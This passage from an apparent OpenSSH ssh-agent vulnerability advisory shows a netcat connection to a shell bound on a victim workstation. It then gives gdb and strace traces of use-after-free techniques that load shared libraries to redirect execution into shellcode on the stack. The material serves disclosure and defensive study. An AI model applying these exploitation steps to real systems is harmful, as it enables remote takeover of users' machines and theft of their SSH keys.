/>which binds a shell on TCP port 31337 on Alice's workstation:<br /><br />server# nc -v workstation 31337<br />Connection to workstation 31337 port [tcp/*] succeeded!<br /><br />workstation$ id<br />uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)<br /><br />workstation$ ps axuf<br />USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND<br />...<br />alice 912 0.0 0.0 6060 2312 ? Ss 17:18 0:00 ssh-agent -s<br />alice 928 0.0 0.0 2872 956 ? S 17:25 0:00 \_ [sh]<br />alice 953 0.0 0.0 7060 3068 ? R 17:40 0:00 \_ ps axuf<br /><br />------------------------------------------------------------------------<br /><br />To get a clear view of the replacement code (the useful gadget) that is<br />executed instead of the unmapped SIGBUS handler and that jumps into the<br />NOP sled of our shellcode (in the executable stack), we relaunch our<br />attack against ssh-agent and attach to ssh-pkcs11-helper with gdb:<br /><br />workstation$ gdb /usr/lib/openssh/ssh-pkcs11-helper 1225<br />...<br />(gdb) continue<br />Continuing.<br /><br />Program received signal SIGBUS, Bus error.<br />memset () at ../sysdeps/x86_64/multiarch/memset-vec-unaligned-erms.S:186<br /><br />(gdb) stepi<br />0x00007f2ba9d7c350 in ?? () from /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3<br /><br />(gdb) x/10i 0x00007f2ba9d7c350<br />=> 0x7f2ba9d7c350: add $0x28,%rsp<br /> 0x7f2ba9d7c354: mov %r12,%rax<br /> 0x7f2ba9d7c357: pop %rbx<br /> 0x7f2ba9d7c358: pop %rbp<br /> 0x7f2ba9d7c359: pop %r12<br /> 0x7f2ba9d7c35b: pop %r13<br /> 0x7f2ba9d7c35d: pop %r14<br /> 0x7f2ba9d7c35f: pop %r15<br /> 0x7f2ba9d7c361: ret <br /> ...<br /><br />(gdb) stepi<br />...<br />0x00007f2ba9d7c361 in ?? () from /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3<br /><br />(gdb) stepi<br />0x00007fff7aae5e90 in ?? ()<br /><br />(gdb) x/10i 0x00007fff7aae5e90<br />=> 0x7fff7aae5e90: add %dl,(%rax)<br /> 0x7fff7aae5e92: and %eax,(%rax)<br /> 0x7fff7aae5e94: add %al,(%rax)<br /> 0x7fff7aae5e96: add %al,(%rax)<br /> 0x7fff7aae5e98: add %ah,(%rax)<br /> 0x7fff7aae5e9a: and %eax,(%rax)<br /> 0x7fff7aae5e9c: add %al,(%rax)<br /> 0x7fff7aae5e9e: add %al,(%rax)<br /> 0x7fff7aae5ea0: call 0x7fff7aae7fbe<br /> ...<br /><br />(gdb) stepi<br />...<br />0x00007fff7aae5ea0 in ?? ()<br /><br />(gdb) stepi<br />0x00007fff7aae7fbe in ?? ()<br /><br />(gdb) x/10i 0x00007fff7aae7fbe<br />=> 0x7fff7aae7fbe: nop<br /> 0x7fff7aae7fbf: nop<br /> 0x7fff7aae7fc0: nop<br /> 0x7fff7aae7fc1: nop<br /> 0x7fff7aae7fc2: nop<br /> 0x7fff7aae7fc3: nop<br /> 0x7fff7aae7fc4: nop<br /> 0x7fff7aae7fc5: nop<br /> 0x7fff7aae7fc6: nop<br /> 0x7fff7aae7fc7: nop<br /><br />(gdb) !grep stack /proc/1225/maps<br />7fff7aacb000-7fff7aaeb000 rwxp 00000000 00:00 0 [stack]<br /><br /><br />========================================================================<br />Callback function use-after-free<br />========================================================================<br /><br />While analyzing the first results of our fuzzer, we noticed that some<br />combinations of shared libraries jump to the stack although they do not<br />register any signal handler or raise any signal; how is this possible?<br />On investigation, we understood that:<br /><br />- a core library (for example, libgcrypt.so or libQt5Core.so) is loaded<br /> but not unloaded (munmap()ed) by dlclose(), because it is marked as<br /> "nodelete" by the loader;<br /><br />- a shared library (for example, libgnunetutil.so or gammaray_probe.so)<br /> is loaded and registers a userland callback function with the core<br /> library (via gcry_set_allocation_handler() or qtHookData[], for<br /> example), but it does not deregister this callback function when<br /> dlclose()d (i.e., when its code is munmap()ed);<br /><br />- another shared library is loaded (mmap()ed) and replaces the unmapped<br /> callback function's code with another piece of code (a useful gadget);<br /><br />- yet another shared library is loaded and calls one of the core<br /> library's functions, which in turn calls the unmapped callback<br /> function and therefore executes the replacement code (the useful<br /> gadget) instead, thus jumping to the stack.<br /><br />------------------------------------------------------------------------<br /><br />In the following example, one of the core library's functions is called<br />at line 66254, the unmapped callback function is called at line 66288,<br />the replacement code (gadget) is executed instead at line 66289, and<br />jumps to the stack at line 66293 (ssh-pkcs11-helper segfaults here<br />because we did not make the stack executable):<br /><br />Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3628979<br />...<br />(gdb) record btrace<br />(gdb) continue<br />Continuing.<br /><br />Program received signal SIGSEGV, Segmentation fault.<br />0x00007fff5000d9d0 in ?? ()<br /><br />(gdb) !grep stack /proc/3628979/maps<br />7fff4fff3000-7fff50014000 rw-p 00000000 00:00 0 [stack]<br /><br />(gdb) set record instruction-history-size 100<br />(gdb) record instruction-history<br />...<br />66254 0x00007f9ae7d82df4: call 0x7f9ae7d70180 <gcry_mpi_new@plt><br />66255 0x00007f9ae7d70180 <gcry_mpi_new@plt+0>: endbr64 <br />66256 0x00007f9ae7d70184 <gcry_mpi_new@plt+4>: bnd jmp *0x7aa9d(%rip) # 0x7f9ae7deac28 <gcry_mpi_new@got.plt><br />66257 0x00007f9af801bbe0 <gcry_mpi_new+0>: endbr64 <br />66258 0x00007f9af801bbe4 <gcry_mpi_new+4>: push %r12<br />66259 0x00007f9af801bbe6 <gcry_mpi_new+6>: push %rbx<br />66260 0x00007f9af801bbe7 <gcry_mpi_new+7>: lea 0x3f(%rdi),%ebx<br />66261 0x00007f9af801bbea <gcry_mpi_new+10>: mov $0x18,%edi<br />66262 0x00007f9af801bbef <gcry_mpi_new+15>: shr $0x6,%ebx<br />66263 0x00007f9af801bbf2 <gcry_mpi_new+18>: sub $0x8,%rsp<br />66264 0x00007f9af801bbf6 <gcry_mpi_new+22>: call 0x7f9af801bb40<br />66265 0x00007f9af801bb40: endbr64 <br />...<br />66285 0x00007f9af809cc60: mov 0xa8311(%rip),%rax # 0x7f9af8144f78<br />66286 0x00007f9af809cc67: test %rax,%rax<br />66287 0x00007f9af809cc6a: jne 0x7f9af809cc44<br />66288 0x00007f9af809cc44: call *%rax<br /><br />66289 0x00007f9afc27edc0: cmp %eax,%ebx<br />66290 0x00007f9afc27edc2: jne 0x7f9afc27f150<br />66291 0x00007f9afc27f150: mov %r14,%rsi<br />66292 0x00007f9afc27f153: mov %r13,%rdi<br />66293 0x00007f9afc27f156: call *%rbx<br /><br />------------------------------------------------------------------------<br /><br />In the following example, the unmapped callback function is called at<br />line 87352, the replacement code (gadget) is executed instead at line<br />87353, and jumps to the stack at line 87354:<br /><br />Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3628993<br />...<br />(gdb) record btrace<br />(gdb) continue<br />Continuing.<br /><br />Program received signal SIGSEGV, Segmentation fault.<br />0x00007ffe4fc16d10 in ?? ()<br /><br />(gdb) !grep stack /proc/3628993/maps<br />7ffe4fbfc000-7ffe4fc1d000 rw-p 00000000 00:00 0 [stack]<br /><br />(gdb) set record instruction-history-size 100<br />(gdb) record instruction-history<br />...<br />87347 0x00007f35f8972d26 <_ZN7QObjectC2ER14QObjectPrivatePS_+182>: lea 0x26acd3(%rip),%rax # 0x7f35f8bdda00 <qtHookData><br />87348 0x00007f35f8972d2d <_ZN7QObjectC2ER14QObjectPrivatePS_+189>: mov 0x18(%rax),%rax<br />87349 0x00007f35f8972d31 <_ZN7QObjectC2ER14QObjectPrivatePS_+193>: test %rax,%rax<br />87350 0x00007f35f8972d34 <_ZN7QObjectC2ER14QObjectPrivatePS_+196>: jne 0x7f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280><br />87351 0x00007f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280>: mov %rbx,%rdi<br />87352 0x00007f35f8972d8b <_ZN7QObjectC2ER14QObjectPrivatePS_+283>: call *%rax<br /><br />87353 0x00007f35fa445130 <_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+80>: pop %rbp<br />87354 0x00007f35fa445131 <_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+81>: ret <br /><br />------------------------------------------------------------------------<br /><br />Note: several shared libraries that are installed by default on Ubuntu<br />Desktop (for example, gkm-*-store-standalone.so) do not have constructor<br />or destructor functions, but they are actual PKCS#11 providers, so some<br />of their functions are explicitly called by ssh-pkcs11-helper, and these<br />functions register a callback function with libgcrypt.so but they do not<br />deregister it when dlclose()d (i.e., when munmap()ed), thus exhibiting<br />the "Callback function use-after-free" behavior presented in this<br />subsection.<br /><br />In the following example, one of libgcrypt.so's functions is called at<br />line 79114, the unmapped callback function is called at line 79143, the<br />replacement code (gadget) is executed instead at line 79144, and jumps<br />to the stack at line 79157:<br /><br />Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3629085<br />...<br />(gdb) record btrace<br />(gdb) continue<br />Continuing.<br /><br />Thread 1 "ssh-pkcs11-help" received signal SIGSEGV, Segmentation fault.<br />0x00007fffb2735c48 in ?? ()<br /><br />(gdb) !grep stack /proc/3629085/maps<br />7fffb2716000-7fffb2737000 rw-p 00000000 00:00 0 [stack]<br /><br />(gdb) set record instruction-history-size 100<br />(gdb) record instruction-history<br />...<br />79114 0x00007f8328147e3a: call 0x7f8328135500 <gcry_mpi_scan@plt><br />79115 0x00007f8328135500 <gcry_mpi_scan@plt+0>: endbr64 <br />79116 0x00007f8328135504 <gcry_mpi_scan@plt+4>: bnd jmp *0x7a8dd(%rip) # 0x7f83281afde8 <gcry_mpi_scan@got.plt><br />79117 0x00007f832e2b1220 <gcry_mpi_scan+0>: endbr64 <br />79118 0x00007f832e2b1224 <gcry_mpi_scan+4>: sub $0x8,%rsp<br />79119 0x00007f832e2b1228 <gcry_mpi_scan+8>: call 0x7f832e32fbb0<br />79120 0x00007f832e32fbb0: endbr64 <br />...<br />79140 0x00007f832e2b436e: mov 0x129dc3(%rip),%rax # 0x7f832e3de138<br />79141 0x00007f832e2b4375: test %rax,%rax<br />79142 0x00007f832e2b4378: je 0x7f832e2b43b0<br />79143 0x00007f832e2b437a: jmp *%rax<br /><br />79144 0x00007f832ed274f0: and $0x20,%al<br />79145 0x00007f832ed274f2: mov %rax,0x50(%rsp)<br />79146 0x00007f832ed274f7: mov 0x30(%rsp),%r13d<br />79147 0x00007f832ed274fc: mov 0x58(%rsp),%r15<br />79148 0x00007f832ed27501: mov %ebx,%ebp<br />79149 0x00007f832ed27503: mov %r8d,%edx<br />79150 0x00007f832ed27506: mov 0x50(%rsp),%rsi<br />79151 0x00007f832ed2750b: mov 0x28(%rsp),%r14<br />79152 0x00007f832ed27510: movslq 0x38(%r12),%rax<br />79153 0x00007f832ed27515: sub $0x8000,%ebp<br />79154 0x00007f832ed2751b: mov 0x54(%r12),%ecx<br />79155 0x00007f832ed27520: add %rax,%r14<br />79156 0x00007f832ed27523: mov %r14,%rdi<br />79157 0x00007f832ed27526: call *%r15<br /><br /><br />========================================================================<br />Return from syscall use-after-free<br />========================================================================<br /><br />While analyzing the strace logs of the dlopen() and dlclose() of every<br />shared library in /usr/lib*, we spotted an unusual SIGSEGV:<br /><br />- a shared library is loaded, and its constructor function starts a<br /> thread that sleeps for 10 seconds in kernel-land:<br /><br />------------------------------------------------------------------------<br />3631347 openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/cmpi/libcmpiOSBase_ProcessorProvider.so", O_RDONLY|O_CLOEXEC) = 3<br />...<br />3631347 mmap(NULL, 33296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5f3c3fb000<br />3631347 mmap(0x7f5f3c3fd000, 12288, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f5f3c3fd000<br />3631347 mmap(0x7f5f3c400000, 8192, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x5000) = 0x7f5f3c400000<br />3631347 mmap(0x7f5f3c402000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f5f3c402000<br />3631347 close(3) = 0<br />...<br />3631347 clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f5f3bd70910, parent_tid=0x7f5f3bd70910, exit_signal=0, stack=0x7f5f3b570000, stack_size=0x7fff00, tls=0x7f5f3bd70640} => {parent_tid=[3631372]}, 88) = 3631372<br />...<br />3631372 clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=10, tv_nsec=0}, <unfinished ...><br />------------------------------------------------------------------------<br /><br />- meanwhile, the main thread (ssh-pkcs11-helper) unloads this shared<br /> library (because it is not an actual PKCS#11 provider) and therefore<br /> munmap()s the code where the sleeping thread should return to after<br /> its sleep in kernel-land:<br /><br />------------------------------------------------------------------------<br />3631347 socket(AF_UNIX, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 3<br />3631347 connect(3, {sa_family=AF_UNIX, sun_path="/dev/log"}, 110) = 0<br />3631347 sendto(3, "<35>Jun 22 18:35:25 ssh-pkcs11-helper[3631347]: error: dlsym(C_GetFunctionList) failed: /usr/lib/x86_64-linux-gnu/cmpi/libcmpiOSBase_ProcessorProvider.so: undefined symbol: C_GetFunctionList", 190, MSG_NOSIGNAL, NULL, 0) = 190<br />3631347 close(3) = 0<br />3631347 munmap(0x7f5f3c3fb000, 33296) = 0<br />------------------------------------------------------------------------<br /><br />- the sleeping thread returns from kernel-land and crashes with a<br /> SIGSEGV because its userland code (at 0x7f5f3c3fecff) was unmapped:<br /><br />------------------------------------------------------------------------<br />3631372 <... clock_nanosleep resumed>0x7f5f3bd6fde0) = 0<br />3631372 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x7f5f3c3fecff} ---<br />------------------------------------------------------------------------<br /><br />Of course, we can request ssh-pkcs11-helper to load (mmap()) a<br />"nodelete" library before the sleeping thread returns from kernel-land,<br />thus replacing the unmapped userland code with another piece of code (a<br />hopefully useful gadget). In the following example, the sleeping thread<br />returns from kernel-land after line 214, executes the replacement code<br />(gadget) at line 256, and jumps to the stack at line 1305:<br /><br />Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3631531<br />...<br />(gdb) record btrace<br />(gdb) continue<br />Continuing.<br />...<br />Thread 2 "ssh-pkcs11-help" received signal SIGSEGV, Segmentation fault.<br />[Switching to Thread 0x7f4603960640 (LWP 3631561)]<br />0x00007ffe2196f180 in ?? ()<br /><br />(gdb) !grep stack /proc/3631531/maps<br />7ffe21955000-7ffe21976000 rw-p 00000000 00:00 0 [stack]<br /><br />(gdb) set record instruction-history-size unlimited<br />(gdb) record instruction-history<br />...<br />214 0x00007f4604b71866 <__GI___clock_nanosleep+198>: syscall <br />...<br />240 0x00007f4604b71831 <__GI___clock_nanosleep+145>: ret <br />...<br />244 0x00007f4604b766ef <__GI___nanosleep+31>: ret <br />...<br />255 0x00007f4604b7663d <__sleep+93>: ret <br /><br />256 0x00007f46050fecff: jmp 0x7f4604662e54 <__ieee754_j1f128+2276><br />257 0x00007f4604662e54 <__ieee754_j1f128+2276>: movq 0x60(%rsp),%mm3<br />...<br />1304 0x00007f460466285b <__ieee754_j1f128+747>: add $0xc8,%rsp<br />1305 0x00007f4604662862 <__ieee754_j1f128+754>: ret <br /><br /><br />========================================================================<br />Sigaltstack use-after-free<br />========================================================================<br /><br />>From time to time, we noticed the following warning in the dmesg of our<br />fuzzing laptop:<br /><br />------------------------------------------------------------------------<br />[585902.691238] signal: ssh-pkcs11-help[1663008] overflowed sigaltstack<br />------------------------------------------------------------------------<br /><br />On investigation, we discovered that at least one shared library<br />(libgnatcoll_postgres.so) calls sigaltstack() to register an alternate<br />signal stack (used by SA_ONSTACK signal handlers) when dlopen()ed, and<br />then munmap()s this signal stack without deregistering it (SS_DISABLE)<br />when dlclose()d. Consequently, we implemented and tested a different<br />attack idea:<br /><br />- we randomly load zero or more shared libraries that permanently alter<br /> the mmap layout;<br /><br />- we load libgnatcoll_postgres.so, which registers an alternate signal<br /> stack and then munmap()s it without deregistering it;<br /><br />- we randomly load zero or more shared libraries that alter the mmap<br /> layout (again), and hopefully replace the unmapped signal stack with<br /> another writable memory mapping (for example, a thread stack, or a<br /> .data or .bss segment);<br /><br />- we randomly load one shared library that registers an SA_ONSTACK<br /> signal handler but does not munmap() its code when dlclose()d (unlike<br /> our original "Signal handler use-after-free" attack);<br /><br />- we randomly load one shared library that raises this signal and<br /> therefore calls the SA_ONSTACK signal handler, thus overwriting the<br /> replacement memory mapping with stack frames from the signal handler;<br /><br />- we randomly load one or more shared libraries that hopefully use the<br /> overwritten contents of the replacement memory mapping.<br /><br />Although we successfully found various combinations of shared libraries<br />that overwrite a .data or .bss segment with a stack frame from a signal<br />handler, we failed to overwrite a useful memory mapping with useful data<br />(e.g., we failed to magically jump to the stack); for this attack to<br />work, more research and a finer-grained approach might be required.<br /><br /><br />========================================================================<br />Sigreturn to arbitrary instruction pointer<br />========================================================================<br /><br />Astonishingly, numerous combinations of shared libraries crash because<br />they try to execute code at 0xcccccccccccccccc: a direct control of the<br />instruction pointer (RIP), because these 0xcc bytes come from the stack<br />buffer of ssh-pkcs11-helper that we (remote attackers) filled with 0xcc<br />bytes.<br /><br />Initially, we got very excited by this new attack vector, because we<br />thought that a gadget of the form "add rsp, N; ret" was executed, thus<br />moving the stack pointer (RSP) into our 0xcc-filled stack buffer and<br />popping RIP from there. Unfortunately, the reality is more complex:<br /><br />- a shared library raises a signal (a SIGSEGV in the example below, at<br /> line 134110) and, in consequence of a "Signal handler use-after-free",<br /> a replacement gadget of the form "ret N" is executed instead of the<br /> signal handler (at line 134111);<br /><br />- exactly as the real signal handler would, the replacement gadget<br /> returns to the glibc&